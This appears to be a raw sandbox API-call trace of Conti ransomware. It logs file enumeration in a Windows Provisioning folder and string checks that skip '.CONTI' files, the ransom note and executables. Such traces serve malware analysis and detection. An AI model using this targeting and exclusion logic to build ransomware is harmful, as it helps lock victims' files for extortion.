	[0109.441] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", cAlternateFileName="409__C~1.PRO")) returned 1
	[0109.441] lstrcmpiW (lpString1="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.441] lstrcmpiW (lpString1="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.441] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.441] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.441] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.441] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.442] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.442] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.442] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.442] StrStrIW (lpFirst="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.442] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.442] lstrlenW (lpString="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.442] GetProcessHeap () returned 0x1720000
	[0109.442] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6573e10
	[0109.442] lstrcpyW (in: lpString1=0x6573e10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml"
	[0109.442] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", cAlternateFileName="40__CO~1.PRO")) returned 1
	[0109.442] lstrcmpiW (lpString1="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.442] lstrcmpiW (lpString1="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.442] StrStrIW (lpFirst="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.442] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.442] lstrlenW (lpString="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml") returned 65
	[0109.442] GetProcessHeap () returned 0x1720000
	[0109.442] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6572990
	[0109.442] lstrcpyW (in: lpString1=0x6572990, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\40__Connections_Cellular_VELCOM (Belarus)_i1$(__MVID)@WAP.provxml"
	[0109.442] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", cAlternateFileName="410__C~1.PRO")) returned 1
	[0109.442] lstrcmpiW (lpString1="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.442] lstrcmpiW (lpString1="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.442] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.442] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.443] StrStrIW (lpFirst="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.443] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.443] lstrlenW (lpString="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml") returned 69
	[0109.443] GetProcessHeap () returned 0x1720000
	[0109.443] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6573288
	[0109.443] lstrcpyW (in: lpString1=0x6573288, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml"
	[0109.443] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="411__C~1.PRO")) returned 1
	[0109.443] lstrcmpiW (lpString1="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.443] lstrcmpiW (lpString1="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.443] StrStrIW (lpFirst="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.443] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.443] lstrlenW (lpString="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.443] GetProcessHeap () returned 0x1720000
	[0109.443] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b81088
	[0109.443] lstrcpyW (in: lpString1=0x6b81088, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\411__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.443] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="412__C~1.PRO")) returned 1
	[0109.444] lstrcmpiW (lpString1="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.444] lstrcmpiW (lpString1="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.444] StrStrIW (lpFirst="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.444] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.444] lstrlenW (lpString="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.444] GetProcessHeap () returned 0x1720000
	[0109.444] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x65733d0
	[0109.444] lstrcpyW (in: lpString1=0x65733d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\412__Connections_Cellular_Yoigo (Spain)_i0$(__MVID)@WAP.provxml"
	[0109.444] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", cAlternateFileName="413__C~1.PRO")) returned 1
	[0109.444] lstrcmpiW (lpString1="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.444] lstrcmpiW (lpString1="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.444] StrStrIW (lpFirst="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.444] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.444] lstrlenW (lpString="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.444] GetProcessHeap () returned 0x1720000
	[0109.444] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x65740a0
	[0109.444] lstrcpyW (in: lpString1=0x65740a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\413__Connections_Cellular_DIALOG (Sri Lanka)_i0$(__MVID)@WAP.provxml"
	[0109.445] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", cAlternateFileName="414__C~1.PRO")) returned 1
	[0109.445] lstrcmpiW (lpString1="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.445] lstrcmpiW (lpString1="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.445] StrStrIW (lpFirst="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.445] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.445] lstrlenW (lpString="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml") returned 68
	[0109.445] GetProcessHeap () returned 0x1720000
	[0109.445] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6573a38
	[0109.445] lstrcpyW (in: lpString1=0x6573a38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
